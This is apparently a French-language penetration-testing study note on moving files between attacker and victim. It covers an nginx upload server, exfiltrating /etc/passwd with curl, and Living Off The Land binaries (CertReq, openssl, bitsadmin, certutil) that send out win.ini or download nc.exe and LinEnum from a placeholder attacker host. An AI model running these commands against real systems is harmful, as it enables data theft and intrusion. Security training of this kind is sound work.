[+] Créé raccourci dans site enabled qui pointe vers mon vrai fichier dans site-availables.
sudo ln -s /etc/nginx/site-available/upload.conf /etc/nginx/sites-enabled/
[+] Supprimer le site par défault
sudo rm /etc/nginx/site-enabled/default
[+] Démarrer nginx sous SSL
sudo systemctl restart nginx.service
• Sur la cible on exfiltre le fichier sensible avec HTTPS.
curl -k -T /etc/passwd https://<attacker-IP>:9001/SecretUploadDirectory/User.txt
Un peu s'assurer de l'exfiltration en affichant la fin du fichier reçu
sudo tail -1 /var/www/uploads/SecretUploadDirectory/User.txt

Vivre Sur les Ressources Locales : (Living Off The Land) :

Le terme (LOLBins pour binary living off the land) est né d'une discussion Twitter sur la façon de nommer les binnaires qu'un attaquant peu utiliser pour effectuer des actions au-delà de leur objectif initial. Il existe deux sites web qui regroupent des informations sur les binnaires Living Off The Land.
- Project LOLBAS pour les binnaires Windows
- GTFOBINS pour les binnaires Linux

Les binaires living off the land peuvent être utilisé pour exécuter des fonctions tels que, le Téléchargement, Téléversement, Exécution de commandes, Lectures de fichiers, Ecriture de fichier, Contournement.
Cette section se concentre sur les projets LOLBAS et GTFOBins et fournit des exemples de fonctions de téléchargement et de téléversement sur les systèmes Windows et Linux.

- Pour LOLBAS : sur le site web on a une barre de recherche ou l'on peu appliquer des filtres tels que /download ou /upload
Exemple d'exfiltration d'un fichier avec CertReq.exe (on exfiltre win.ini).

• Agent@Pathogen@parrot ~$ sudo nc -lvnp 8000

- Utilisons CertReq.exe sur la victim

• C:\Rtb> certreq.exe -Post -config http://attackerIP:8000/ c:\Windows\win.ini

- Pour GTFOBins : sur le site web on a une barre de recherche ou l'on peux appliquer des filtres tels que +file download ou +file upload
Exemple ici avec openssh on upload LinEnum sur notre cible compromise.
① On crée le certificat:
• Agent@Pathogen@parrot ~$ openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
② Mise en place du serveur
• Agent@Pathogen@parrot ~$ openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
③ Téléchargement depuis la machine compromise
- Victim@Linux ~$ openssl s_client -connect attackerip:80 -quiet > LinEnum.sh

- avec Bitsadmin : Le service de transfert intelligent en arrière plan BITS peux être utilisé pour télécharger des fichiers depuis des sites HTTP et partages SMB. Son avantage est qu'il minimise l'impacte sur le travail en premier plan d'un utilisateur.

PS C:\Rtb> bitsadmin /transfer wcb /priority foreground http://attackerIP:port/nc.exe C:\Users\Rtb-student\Desktop\lol.exe

- Ou encore Certutil (detectable par AV) A cette section me montre qu'une infime part des LOLBins
PS C:\Rtb> certutil.exe -verifyctl -split -f http://attackerip:port/nc.exe